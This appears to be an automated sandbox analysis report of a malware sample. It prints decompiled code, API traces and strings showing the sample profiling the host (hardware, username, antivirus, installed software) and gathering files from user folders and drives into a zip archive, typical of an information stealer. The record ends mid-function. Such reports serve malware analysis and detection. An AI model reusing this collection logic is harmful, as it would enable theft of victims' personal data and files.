						_v100300.wHour = 0xf;
						_v100300.wDayOfWeek = 0;
						_v100312 = 0;
						lstrcatA( &_v100284, "\n");
						lstrcatA( &_v100284, "Threads: ");
						_t324 = E0041EAE0( &_v100312, _t513); // executed
						_v8 = 9;
						if(_t324[0x14] >= 0x10) {
							_t324 =  *_t324;
						}
						lstrcatA( &_v100284, _t324);
						_v8 = 0xffffffff;
						if(_v100300.wHour >= 0x10) {
							_push(_v100312);
							E00429B0B();
							_t491 = _t491 + 4;
						}
						_v100300.wHour = 0xf;
						_v100300.wDayOfWeek = 0;
						_v100312 = 0;
						lstrcatA( &_v100284, "\n");
						_t328 =  *0x452b44; // 0x509d160
						lstrcatA( &_v100284, _t328); // executed
						_t330 = E0041EEF0(0, 0x10); // executed
						lstrcatA( &_v100284, _t330);
						lstrcatA( &_v100284, "\n");
						_t410 =  *0x452fa8; // 0x509cfb0
						lstrcatA( &_v100284, _t410);
						_v100740.cb = 0x1a8;
						EnumDisplayDevicesA(0, 0,  &_v100740, 1);
						lstrcatA( &_v100284,  &(_v100740.DeviceString));
						lstrcatA( &_v100284, "\n\n");
						_t412 =  *0x452bd8; // 0x509cf98
						lstrcatA( &_v100284, _t412);
						lstrcatA( &_v100284, "\n");
						_t484 =  &_v100284;
						E0041F750(_t484); // executed
						lstrcatA(_t484, "\n");
						_t463 =  *0x452b00; // 0x509ce78
						lstrcatA(_t484, _t463);
						lstrcatA(_t484, "\n"); // executed
						E0041ED10(_t484); // executed
						_t464 = _t484;
						_t349 = lstrlenA(_t484);
						_t415 = _v100748;
						if(_t415 != 0) {
							__eflags =  *_t415 - 2;
							if( *_t415 == 2) {
								_t350 =  *0x452d88; // 0x509b1f8
								_t464 =  &_v100284;
								 *0x4537d4 = E00428410( *((intOrPtr*)(_t415 + 4)),  &_v100284, _t350, _t349, 3);
							} else {
								 *0x4537d4 = 0x80000;
							}
						} else {
							 *0x4537d4 = 0x10000;
						}
						_t352 = L00429B30( &_v100284, 0, 0x186a0);
						 *[fs:0x0] = _v16;
						_pop(_t473);
						_pop(_t485);
						_pop(_t374);
						return E00429B16(_t352, _t374, _v20 ^ _t486, _t464, _t473, _t485);
					}
					goto L22;
				}
			}

0x0040e830
0x0040e833
0x0040e835
0x0040e840
0x0040e846
0x0040e84b
0x0040e850
0x0040e852
0x0040e858
0x0040e85c
0x0040e862
0x0040e876
0x0040e87c
0x0040e881
0x0040e887
0x0040e892
0x0040e89e
0x0040e8a8
0x0040e8ae
0x0040e8b0
0x0040e8b0
0x0040e8ba
0x0040e8c0
0x0040e8cd
0x0040e8d5
0x0040e8d6
0x0040e8db
0x0040e8db
0x0040e8ea
0x0040e8f4
0x0040e8fa
0x0040e900
0x0040e906
0x0040e914
0x0040e92d
0x0040e936
0x0040e972
0x0040e978
0x0040e983
0x0040e995
0x0040e99b
0x0040e9a8
0x0040e9b4
0x0040e9b9
0x0040e9c3
0x0040e9c5
0x0040e9c5
0x0040e9cf
0x0040e9d5
0x0040e9e2
0x0040e9ea
0x0040e9eb
0x0040e9f0
0x0040e9f0
0x0040e9ff
0x0040ea09
0x0040ea0f
0x0040ea15
0x0040ea1b
0x0040ea29
0x0040ea35
0x0040ea3a
0x0040ea44
0x0040ea46
0x0040ea46
0x0040ea50
0x0040ea56
0x0040ea63
0x0040ea6b
0x0040ea6c
0x0040ea71
0x0040ea71
0x0040ea80
0x0040ea8a
0x0040ea90
0x0040ea96
0x0040ea9c
0x0040eaaa
0x0040eab6
0x0040eac0
0x0040eaca
0x0040eacc
0x0040eacc
0x0040ead6
0x0040eadc
0x0040eae9
0x0040eaf1
0x0040eaf2
0x0040eaf7
0x0040eaf7
0x0040eb06
0x0040eb10
0x0040eb16
0x0040eb1c
0x0040eb22
0x0040eb2f
0x0040eb42
0x0040eb47
0x0040eb4a
0x0040eb54
0x0040eb56
0x0040eb56
0x0040eb60
0x0040eb66
0x0040eb73
0x0040eb7b
0x0040eb7c
0x0040eb81
0x0040eb81
0x0040eb95
0x0040eb9b
0x0040eba1
0x0040eba7
0x0040ebad
0x0040ebbb
0x0040ebcd
0x0040ebd3
0x0040ebe1
0x0040ebe7
0x0040ebf4
0x0040ec06
0x0040ec12
0x0040ec13
0x0040ec1f
0x0040ec28
0x0040ec37
0x0040ec37
0x00000000
0x0040ec2a
0x0040ec2a
0x0040ec2f
0x0040ec35
0x0040ec3c
0x0040ec44
0x0040ec56
0x0040ec68
0x0040ec6e
0x0040ec7b
0x0040ec8d
0x0040ec9f
0x0040eca5
0x0040ecb2
0x0040ecc4
0x0040ecca
0x0040ecd7
0x0040ecea
0x0040ecfc
0x0040ed02
0x0040ed10
0x0040ed24
0x0040ed2e
0x0040ed42
0x0040ed54
0x0040ed5a
0x0040ed68
0x0040ed75
0x0040ed7a
0x0040ed84
0x0040ed86
0x0040ed86
0x0040ed90
0x0040ed96
0x0040eda3
0x0040edab
0x0040edac
0x0040edb1
0x0040edb1
0x0040edc0
0x0040edc6
0x0040edcc
0x0040edd2
0x0040edd8
0x0040ede6
0x0040edf2
0x0040edfc
0x0040ee06
0x0040ee08
0x0040ee08
0x0040ee12
0x0040ee18
0x0040ee1f
0x0040ee25
0x0040ee2d
0x0040ee2e
0x0040ee33
0x0040ee33
0x0040ee44
0x0040ee4e
0x0040ee54
0x0040ee5a
0x0040ee60
0x0040ee6e
0x0040ee74
0x0040ee81
0x0040ee93
0x0040ee99
0x0040eea7
0x0040eec7
0x0040eec9
0x0040ef05
0x0040ef0b
0x0040ef16
0x0040ef28
0x0040ef2e
0x0040ef3c
0x0040ef42
0x0040ef48
0x0040ef4d
0x0040ef57
0x0040ef59
0x0040ef59
0x0040ef63
0x0040ef69
0x0040ef70
0x0040ef76
0x0040ef7e
0x0040ef7f
0x0040ef84
0x0040ef84
0x0040ef93
0x0040ef9d
0x0040efa3
0x0040efa9
0x0040efaf
0x0040efbc
0x0040efce
0x0040efd4
0x0040efe1
0x0040efe7
0x0040eff4
0x0040f006
0x0040f018
0x0040f02a
0x0040f02f
0x0040f039
0x0040f03b
0x0040f03b
0x0040f045
0x0040f04b
0x0040f052
0x0040f058
0x0040f060
0x0040f061
0x0040f066
0x0040f066
0x0040f077
0x0040f081
0x0040f087
0x0040f08d
0x0040f09f
0x0040f0ab
0x0040f0b0
0x0040f0ba
0x0040f0bc
0x0040f0bc
0x0040f0c6
0x0040f0cc
0x0040f0d9
0x0040f0e1
0x0040f0e2
0x0040f0e7
0x0040f0e7
0x0040f0f6
0x0040f100
0x0040f106
0x0040f10c
0x0040f112
0x0040f11f
0x0040f125
0x0040f132
0x0040f144
0x0040f14a
0x0040f158
0x0040f169
0x0040f173
0x0040f187
0x0040f199
0x0040f19f
0x0040f1ad
0x0040f1bf
0x0040f1c5
0x0040f1cb
0x0040f1d8
0x0040f1de
0x0040f1e8
0x0040f1f6
0x0040f1fc
0x0040f201
0x0040f204
0x0040f20a
0x0040f212
0x0040f220
0x0040f223
0x0040f237
0x0040f23d
0x0040f248
0x0040f225
0x0040f225
0x0040f225
0x0040f214
0x0040f214
0x0040f214
0x0040f25a
0x0040f265
0x0040f26d
0x0040f26e
0x0040f26f
0x0040f27d
0x0040f27d
0x00000000
0x0040ec35

APIs

_memset.LIBCMT ref: 0040E87C
lstrcatA.KERNEL32(?,0509CD70), ref: 0040E892

Part of subcall function 0040A340: _strlen.LIBCMT ref: 0040A35A

lstrcatA.KERNEL32(?,00000000), ref: 0040E8BA
lstrcatA.KERNEL32(?,0044A994), ref: 0040E900
lstrcatA.KERNEL32(?,0509D140), ref: 0040E914
GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040E920
RtlAllocateHeap.NTDLL(00000000), ref: 0040E927
GetLocalTime.KERNEL32(?), ref: 0040E936
wsprintfA.USER32 ref: 0040E972
lstrcatA.KERNEL32(?,00000000), ref: 0040E983
lstrcatA.KERNEL32(?,004485E8), ref: 0040E995
lstrcatA.KERNEL32(?,0509CE18), ref: 0040E9A8
lstrcatA.KERNEL32(?,00000000), ref: 0040E9CF
lstrcatA.KERNEL32(?,004485E8), ref: 0040EA15
lstrcatA.KERNEL32(?,0509D150), ref: 0040EA29
lstrcatA.KERNEL32(?,00000000), ref: 0040EA50
lstrcatA.KERNEL32(?,004485E8), ref: 0040EA96
lstrcatA.KERNEL32(?,0509D220), ref: 0040EAAA
lstrcatA.KERNEL32(?,00000000), ref: 0040EAD6
lstrcatA.KERNEL32(?,0044A994), ref: 0040EB1C
lstrcatA.KERNEL32(?,0509D1C0), ref: 0040EB2F
GetCurrentProcessId.KERNEL32 ref: 0040EB35
lstrcatA.KERNEL32(?,00000000), ref: 0040EB60
lstrcatA.KERNEL32(?,004485E8), ref: 0040EBA7
lstrcatA.KERNEL32(?,0509B318), ref: 0040EBBB
lstrcatA.KERNEL32(?,0044A994), ref: 0040EBCD
lstrcatA.KERNEL32(?,0509CE30), ref: 0040EBE1
lstrcatA.KERNEL32(?,00000000), ref: 0040EBF4
lstrcatA.KERNEL32(?,0044A998), ref: 0040EC06
GetCurrentProcess.KERNEL32(?), ref: 0040EC19
IsWow64Process.KERNEL32(00000000), ref: 0040EC20
lstrcatA.KERNEL32(?,x86), ref: 0040EC44
lstrcatA.KERNEL32(?,0044A99C), ref: 0040EC56
lstrcatA.KERNEL32(?,Install date: ), ref: 0040EC68
lstrcatA.KERNEL32(?,00000000), ref: 0040EC7B
lstrcatA.KERNEL32(?,004485E8), ref: 0040EC8D
lstrcatA.KERNEL32(?,AV: ), ref: 0040EC9F
lstrcatA.KERNEL32(?,00000000), ref: 0040ECB2
lstrcatA.KERNEL32(?,004485E8), ref: 0040ECC4
lstrcatA.KERNEL32(?,0509CB78), ref: 0040ECD7
lstrcatA.KERNEL32(?,00000000), ref: 0040ECEA
lstrcatA.KERNEL32(?,004485E8), ref: 0040ECFC
lstrcatA.KERNEL32(?,0509CE60), ref: 0040ED10
GetUserNameA.ADVAPI32(?,?), ref: 0040ED2E
lstrcatA.KERNEL32(?,?), ref: 0040ED42
lstrcatA.KERNEL32(?,004485E8), ref: 0040ED54
lstrcatA.KERNEL32(?,0509B3B8), ref: 0040ED68
lstrcatA.KERNEL32(?,00000000,?), ref: 0040ED90
lstrcatA.KERNEL32(?,004485E8), ref: 0040EDD2
lstrcatA.KERNEL32(?,0509B278), ref: 0040EDE6
lstrcatA.KERNEL32(?,00000000), ref: 0040EE12
lstrcatA.KERNEL32(?,004485E8), ref: 0040EE5A
lstrcatA.KERNEL32(?,0509B2F8), ref: 0040EE6E
lstrcatA.KERNEL32(?,00000000), ref: 0040EE81
lstrcatA.KERNEL32(?,004485E8), ref: 0040EE93
lstrcatA.KERNEL32(?,0509CF68), ref: 0040EEA7
GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040EEB3
RtlAllocateHeap.NTDLL(00000000), ref: 0040EEBA
GetLocalTime.KERNEL32(?), ref: 0040EEC9
wsprintfA.USER32 ref: 0040EF05
lstrcatA.KERNEL32(?,00000000), ref: 0040EF16
lstrcatA.KERNEL32(?,004485E8), ref: 0040EF28
lstrcatA.KERNEL32(?,0509CFC8), ref: 0040EF3C
lstrcatA.KERNEL32(?,00000000), ref: 0040EF63
lstrcatA.KERNEL32(?,0044A994), ref: 0040EFA9
lstrcatA.KERNEL32(?,0509CF80), ref: 0040EFBC
lstrcatA.KERNEL32(?,004485E8), ref: 0040EFCE
lstrcatA.KERNEL32(?,0509CFE0), ref: 0040EFE1

Part of subcall function 0041EC50: _memset.LIBCMT ref: 0041EC82
Part of subcall function 0041EC50: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 0041ECA2
Part of subcall function 0041EC50: RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,00000000,000000FF), ref: 0041ECCA
Part of subcall function 0041EC50: RegCloseKey.ADVAPI32(?), ref: 0041ECD7
Part of subcall function 0041EC50: CharToOemA.USER32(00000000,?), ref: 0041ECEB

lstrcatA.KERNEL32(?,00000000), ref: 0040EFF4
lstrcatA.KERNEL32(?,004485E8), ref: 0040F006
lstrcatA.KERNEL32(?,Cores: ), ref: 0040F018

Part of subcall function 0041EB90: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,0040F023), ref: 0041EBAF
Part of subcall function 0041EB90: GetLastError.KERNEL32(?,0040F023), ref: 0041EBC0
Part of subcall function 0041EB90: _free.LIBCMT ref: 0041EBD0
Part of subcall function 0041EB90: _malloc.LIBCMT ref: 0041EBDC
Part of subcall function 0041EB90: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,0040F023), ref: 0041EBF4
Part of subcall function 0041EB90: _free.LIBCMT ref: 0041EC1D

lstrcatA.KERNEL32(?,00000000,00000000), ref: 0040F045
lstrcatA.KERNEL32(?,004485E8), ref: 0040F08D
lstrcatA.KERNEL32(?,Threads: ), ref: 0040F09F
lstrcatA.KERNEL32(?,00000000), ref: 0040F0C6
lstrcatA.KERNEL32(?,004485E8), ref: 0040F10C
lstrcatA.KERNEL32(?,0509D160), ref: 0040F11F
lstrcatA.KERNEL32(?,00000000), ref: 0040F132
lstrcatA.KERNEL32(?,004485E8), ref: 0040F144
lstrcatA.KERNEL32(?,0509CFB0), ref: 0040F158
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 0040F173
lstrcatA.KERNEL32(?,?), ref: 0040F187
lstrcatA.KERNEL32(?,0044A994), ref: 0040F199
lstrcatA.KERNEL32(?,0509CF98), ref: 0040F1AD
lstrcatA.KERNEL32(?,004485E8), ref: 0040F1BF
lstrcatA.KERNEL32(?,004485E8), ref: 0040F1D8
lstrcatA.KERNEL32(?,0509CE78), ref: 0040F1E8
lstrcatA.KERNEL32(?,004485E8), ref: 0040F1F6

Part of subcall function 0041ED10: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000000), ref: 0041ED59
Part of subcall function 0041ED10: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,00000010), ref: 0041ED9A
Part of subcall function 0041ED10: wsprintfA.USER32 ref: 0041EDC2
Part of subcall function 0041ED10: RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0041EDE4
Part of subcall function 0041ED10: RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?,00000400), ref: 0041EE1E
Part of subcall function 0041ED10: lstrcatA.KERNEL32(?,?), ref: 0041EE30
Part of subcall function 0041ED10: RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?,00000400), ref: 0041EE62
Part of subcall function 0041ED10: lstrcatA.KERNEL32(?,0044A998), ref: 0041EE72
Part of subcall function 0041ED10: lstrcatA.KERNEL32(?,?), ref: 0041EE80

lstrlenA.KERNEL32(?), ref: 0040F204
_memset.LIBCMT ref: 0040F25A

Strings

Install date: , xrefs: 0040EC5C
AV: , xrefs: 0040EC93
Cores: , xrefs: 0040F00C
x64, xrefs: 0040EC2A
x86, xrefs: 0040EC37, 0040EC3C
%d/%d/%d %d:%d:%d, xrefs: 0040E96C, 0040EEFF
Threads: , xrefs: 0040F093

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Process$Heap$OpenQueryValue_memsetwsprintf$AllocateCurrentEnumInformationLocalLogicalProcessorTime_free$CharCloseDevicesDisplayErrorLastNameUserWow64_malloc_strlenlstrlen
String ID: %d/%d/%d %d:%d:%d$AV: $Cores: $Install date: $Threads: $x64$x86
API String ID: 1665113108-3044659480
Opcode ID: c76345ed818fedb6d2bd85c7f9d73611966ce544b98dc37b6fd567493285a519
Instruction ID: 9fc97573d3395a4b7e9a0875070b19724ec03263badaf80dfad2f89837a946f0
Opcode Fuzzy Hash: c76345ed818fedb6d2bd85c7f9d73611966ce544b98dc37b6fd567493285a519
Instruction Fuzzy Hash: 7352A0B1804318AFCB21DF91DD44DEAB779FB09786B2085AAE105A3191DF38D384DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3A0 Relevance: 163.5, APIs: 74, Strings: 19, Instructions: 763
stringCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0040C3A0(CHAR* __ecx, intOrPtr __edx, CHAR* _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v1020;
				char _v1124;
				void* _v2124;
				char _v3124;
				char _v3388;
				char _v4388;
				void* _v5388;
				intOrPtr _v5396;
				char _v5400;
				char _v5416;
				intOrPtr _v5424;
				char _v5428;
				char _v5444;
				intOrPtr _v5452;
				char _v5456;
				char _v5472;
				CHAR* _v5476;
				char _v5480;
				signed int* _v5484;
				signed int _v5488;
				long _v5492;
				CHAR* _v5496;
				intOrPtr _v5500;
				char _v5504;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t194;
				signed int _t195;
				signed int* _t207;
				void* _t209;
				CHAR* _t212;
				signed int _t215;
				char* _t217;
				signed int _t226;
				char* _t228;
				signed int _t237;
				char* _t239;
				void* _t247;
				intOrPtr* _t249;
				signed int _t254;
				char* _t256;
				void* _t260;
				signed int _t265;
				char* _t267;
				void* _t271;
				signed int _t276;
				char* _t278;
				void* _t282;
				signed int _t287;
				char* _t289;
				void* _t293;
				signed int _t298;
				char* _t300;
				signed int _t306;
				signed int _t313;
				int _t324;
				char* _t328;
				int _t333;
				void* _t337;
				void* _t347;
				signed int _t351;
				char* _t352;
				char* _t353;
				char* _t354;
				char* _t356;
				char* _t357;
				char* _t358;
				char* _t359;
				void* _t362;
				signed int _t363;
				char* _t372;
				char* _t376;
				char* _t382;
				char* _t386;
				char* _t390;
				char* _t394;
				char* _t398;
				CHAR* _t403;
				void* _t450;
				char* _t452;
				void* _t454;
				CHAR* _t455;
				signed int _t457;
				signed int _t459;
				intOrPtr* _t460;
				signed int _t463;
				signed int _t465;
				signed int _t467;
				signed int _t469;
				signed int* _t471;
				void* _t472;
				CHAR* _t473;
				void* _t475;
				char* _t477;
				void* _t479;
				CHAR* _t480;
				void* _t482;
				CHAR* _t483;
				void* _t485;
				void* _t487;
				CHAR* _t488;
				void* _t490;
				CHAR* _t491;
				void* _t493;
				CHAR* _t494;
				void* _t496;
				CHAR* _t497;
				void* _t499;
				CHAR* _t500;
				signed int _t503;
				signed int _t504;
				void* _t505;
				signed int _t506;
				signed int _t507;
				CHAR* _t509;
				signed int _t511;
				CHAR* _t512;
				signed int _t514;
				void* _t515;
				void* _t519;
				void* _t521;
				void* _t523;
				void* _t527;
				void* _t529;
				void* _t531;
				void* _t533;
				void* _t535;
				void* _t539;
				void* _t566;

				E00438A70(0x1574);
				_t194 =  *0x450664; // 0x30e242aa
				_t195 = _t194 ^ _t514;
				_v20 = _t195;
				 *[fs:0x0] =  &_v16;
				_v5496 = __ecx;
				_v5476 = _a12;
				_v5500 = __edx;
				_v5488 = _a20;
				L00429B30( &_v4388, 0, 0x3e8);
				L00429B30( &_v1020, 0, 0x3e8);
				L00429B30( &_v3124, 0, 0x3e8);
				lstrcatA( &_v4388, "\\Files\\");
				lstrcatA( &_v4388, _a4);
				lstrcatA( &_v4388, ".zip");
				_t207 = L00428DF0(0xf4240, _t539); // executed
				_v5484 = _t207;
				_v5480 = 0;
				_v5504 = 0;
				L00429B30( &_v2124, 0, 0x3e8);
				_t519 = _t515 + 0x30;
				_t209 =  *0x4534c0(0, 0x1a, 0, 0,  &_v2124, _t195, _t450, _t475, _t347,  *[fs:0x0], E0043F081, 0xffffffff);
				_t452 = _v5476;
				_t351 = (0 | _t209 < 0x00000000) - 0x00000001 &  &_v2124;
				_t477 = StrStrA(_t452, "%APPDATA%");
				if(_t477 != 0) {
					_t212 = _v5476;
					_t454 = _t477 - _t212;
					 *0x453458("C:\Users\engineer\Desktop\\", _t212, _t454);
					_t26 = _t454 + 0x4537f0; // 0x555c3a43
					_t455 = _t26;
					 *_t455 = 0;
					_t215 = L00429C90("%APPDATA%") + _t477;
					__eflags = _t215;
					wsprintfA(_t455, "%s%s", _t351, _t215);
					_t519 = _t519 + 0x14;
					_t217 = 0x4537f0;
				} else {
					_t217 = _t452;
				}
				 *0x45358c( &_v1020, _t217);
				L00429B30( &_v2124, 0, 0x3e8);
				_t521 = _t519 + 0xc;
				_t34 = (0 |  *0x4534c0(0, 0x1c, 0, 0,  &_v2124) < 0x00000000) - 1; // -1
				_t457 = _t34 &  &_v2124;
				_t352 = StrStrA( &_v1020, "%LOCALAPPDATA%");
				if(_t352 != 0) {
					_t372 =  &_v1020;
					_t479 = _t352 - _t372;
					 *0x453458("C:\Users\engineer\Desktop\\", _t372, _t479);
					_t37 = _t479 + 0x4537f0; // 0x555c3a43
					_t480 = _t37;
					 *_t480 = 0;
					_t226 = L00429C90("%LOCALAPPDATA%") + _t352;
					__eflags = _t226;
					wsprintfA(_t480, "%s%s", _t457, _t226);
					_t521 = _t521 + 0x14;
					_t228 = 0x4537f0;
				} else {
					_t228 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t228);
				L00429B30( &_v2124, 0, 0x3e8);
				_t523 = _t521 + 0xc;
				_t45 = (0 |  *0x4534c0(0, 0x28, 0, 0,  &_v2124) < 0x00000000) - 1; // -1
				_t459 = _t45 &  &_v2124;
				_t353 = StrStrA( &_v1020, "%USERPROFILE%");
				if(_t353 != 0) {
					_t376 =  &_v1020;
					_t482 = _t353 - _t376;
					 *0x453458("C:\Users\engineer\Desktop\\", _t376, _t482);
					_t48 = _t482 + 0x4537f0; // 0x555c3a43
					_t483 = _t48;
					 *_t483 = 0;
					_t237 = L00429C90("%USERPROFILE%") + _t353;
					__eflags = _t237;
					wsprintfA(_t483, "%s%s", _t459, _t237);
					_t523 = _t523 + 0x14;
					_t239 = 0x4537f0;
				} else {
					_t239 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t239);
				_v5492 = 0x101;
				GetUserNameA( &_v3388,  &_v5492);
				_v5396 = 0xf;
				_v5400 = 0;
				_v5416 = 0;
				E004050C0( &_v5416,  &_v3388, L00429C90( &_v3388));
				_v8 = 0;
				_t247 = L004055B0("C:\\Users\\",  &_v5472,  &_v5416);
				_v8 = 1;
				_t249 = E00410970("\\Desktop\\",  &_v5444, _t247);
				_t527 = _t523 + 0xc;
				_t485 = 0x10;
				_v8 = 2;
				if( *((intOrPtr*)(_t249 + 0x14)) < 0x10) {
					_t460 = _t249;
				} else {
					_t460 =  *_t249;
				}
				_t354 = StrStrA( &_v1020, "%DESKTOP%");
				if(_t354 != 0) {
					_t382 =  &_v1020;
					_t487 = _t354 - _t382;
					 *0x453458("C:\Users\engineer\Desktop\\", _t382, _t487);
					_t69 = _t487 + 0x4537f0; // 0x555c3a43
					_t488 = _t69;
					 *_t488 = 0;
					_t254 = L00429C90("%DESKTOP%") + _t354;
					__eflags = _t254;
					wsprintfA(_t488, "%s%s", _t460, _t254);
					_t527 = _t527 + 0x14;
					_t256 = 0x4537f0;
					_t485 = 0x10;
				} else {
					_t256 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t256);
				if(_v5424 >= _t485) {
					_push(_v5444);
					E00429B0B();
					_t527 = _t527 + 4;
				}
				_v5424 = 0xf;
				_v5428 = 0;
				_v5444 = 0;
				if(_v5452 >= _t485) {
					_push(_v5472);
					E00429B0B();
					_t527 = _t527 + 4;
				}
				_v8 = 0xffffffff;
				_v5452 = 0xf;
				_v5456 = 0;
				_v5472 = 0;
				if(_v5396 >= _t485) {
					_push(_v5416);
					E00429B0B();
					_t527 = _t527 + 4;
				}
				L00429B30( &_v2124, 0, 0x3e8);
				_t529 = _t527 + 0xc;
				_t260 =  *0x4534c0(0, 5, 0, 0,  &_v2124); // executed
				_t90 = (0 | _t260 < 0x00000000) - 1; // -1
				_t463 = _t90 &  &_v2124;
				_t356 = StrStrA( &_v1020, "%DOCUMENTS%");
				if(_t356 != 0) {
					_t386 =  &_v1020;
					_t490 = _t356 - _t386;
					 *0x453458("C:\Users\engineer\Desktop\\", _t386, _t490);
					_t93 = _t490 + 0x4537f0; // 0x555c3a43
					_t491 = _t93;
					 *_t491 = 0;
					_t265 = L00429C90("%DOCUMENTS%") + _t356;
					__eflags = _t265;
					wsprintfA(_t491, "%s%s", _t463, _t265);
					_t529 = _t529 + 0x14;
					_t267 = 0x4537f0;
				} else {
					_t267 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t267);
				L00429B30( &_v2124, 0, 0x3e8);
				_t531 = _t529 + 0xc;
				_t271 =  *0x4534c0(0, 0x26, 0, 0,  &_v2124); // executed
				_t101 = (0 | _t271 < 0x00000000) - 1; // -1
				_t465 = _t101 &  &_v2124;
				_t357 = StrStrA( &_v1020, "%PROGRAMFILES%");
				if(_t357 != 0) {
					_t390 =  &_v1020;
					_t493 = _t357 - _t390;
					 *0x453458("C:\Users\engineer\Desktop\\", _t390, _t493);
					_t104 = _t493 + 0x4537f0; // 0x555c3a43
					_t494 = _t104;
					 *_t494 = 0;
					_t276 = L00429C90("%PROGRAMFILES%") + _t357;
					__eflags = _t276;
					wsprintfA(_t494, "%s%s", _t465, _t276);
					_t531 = _t531 + 0x14;
					_t278 = 0x4537f0;
				} else {
					_t278 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t278);
				L00429B30( &_v2124, 0, 0x3e8);
				_t533 = _t531 + 0xc;
				_t282 =  *0x4534c0(0, 0x2a, 0, 0,  &_v2124); // executed
				_t112 = (0 | _t282 < 0x00000000) - 1; // -1
				_t467 = _t112 &  &_v2124;
				_t358 = StrStrA( &_v1020, "%PROGRAMFILES_86%");
				if(_t358 != 0) {
					_t394 =  &_v1020;
					_t496 = _t358 - _t394;
					 *0x453458("C:\Users\engineer\Desktop\\", _t394, _t496);
					_t115 = _t496 + 0x4537f0; // 0x555c3a43
					_t497 = _t115;
					 *_t497 = 0;
					_t287 = L00429C90("%PROGRAMFILES_86%") + _t358;
					__eflags = _t287;
					wsprintfA(_t497, "%s%s", _t467, _t287);
					_t533 = _t533 + 0x14;
					_t289 = 0x4537f0;
				} else {
					_t289 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t289);
				L00429B30( &_v5388, 0, 0x3e8);
				_t535 = _t533 + 0xc;
				_t293 =  *0x4534c0(0, 8, 0, 0,  &_v5388); // executed
				_t123 = (0 | _t293 < 0x00000000) - 1; // -1
				_t469 = _t123 &  &_v5388;
				_t359 = StrStrA( &_v1020, "%RECENT%");
				if(_t359 != 0) {
					_t398 =  &_v1020;
					_t499 = _t359 - _t398;
					 *0x453458("C:\Users\engineer\Desktop\\", _t398, _t499);
					_t126 = _t499 + 0x4537f0; // 0x555c3a43
					_t500 = _t126;
					 *_t500 = 0;
					_t298 = L00429C90("%RECENT%") + _t359;
					__eflags = _t298;
					wsprintfA(_t500, "%s%s", _t469, _t298);
					_t535 = _t535 + 0x14;
					_t300 = 0x4537f0;
				} else {
					_t300 =  &_v1020;
				}
				 *0x45358c( &_v1020, _t300);
				_push(0);
				_push("*%DRIVE_FIXED%*");
				_push( &_v1020);
				if( *0x453450() != 0) {
					_v5480 = 1;
				}
				_push(0);
				_push("*%DRIVE_REMOVABLE%*");
				_push( &_v1020);
				if( *0x453450() != 0) {
					_v5480 = 1;
					_v5504 = 1;
				}
				_t306 =  *0x453450(_v5476, "*%RECENT%*", 0);
				asm("sbb eax, eax");
				_t308 =  ~( ~_t306);
				_v5492 =  ~( ~_t306);
				if(_v5480 == 0) {
					_t403 = _v5496;
					__eflags = 0;
					E0040C340(0, _t403, _v5484, _t308, _a24, 0,  &_v1020, _v5484, _a16, _a8, _v5500); // executed
					_t535 = _t535 + 0x14;
					goto L51;
				} else {
					_t403 =  &_v1124;
					GetLogicalDriveStringsA(0x64, _t403);
					_t473 =  &_v1124;
					_v5476 = _t473;
					if(_v1124 == 0) {
						L51:
						_t471 = _v5484;
						if(_t471 != 0) {
							__eflags =  *_t471 - 2;
							if( *_t471 == 2) {
								_t503 = _t471[1];
								__eflags =  *((char*)(_t503 + 0x2c));
								if( *((char*)(_t503 + 0x2c)) == 0) {
									E00428D30(_t503, 0x10000, _t403);
								}
								_t442 =  *(_t503 + 0x20);
								asm("sbb eax, eax");
								_t313 = ( ~( *(_t503 + 0x20)) & 0xfffe0000) + 0x20000;
								__eflags = _t313;
								 *((char*)(_t503 + 0x2c)) = 1;
								_t504 =  *((intOrPtr*)(_t503 + 0x18));
								 *0x4537d4 = _t313;
							} else {
								_t504 = _v5488;
								_t442 = _v5488;
								 *0x4537d4 = 0x80000;
							}
						} else {
							_t442 = 0;
							_t504 = 0;
							 *0x4537d4 = 0x10000;
						}
						_t314 = _v5488;
						if(_t314 != 0) {
							__eflags =  *_t314 - 2;
							if( *_t314 == 2) {
								_t403 =  *(_t314 + 4);
								 *0x4537d4 = E00428410(_t403, _t442,  &_v4388, _t504, 3);
							} else {
								 *0x4537d4 = 0x80000;
							}
						} else {
							 *0x4537d4 = 0x10000;
						}
						if(_t471 == 0) {
							 *0x4537d4 = 0x10000;
						} else {
							_t314 =  *_t471;
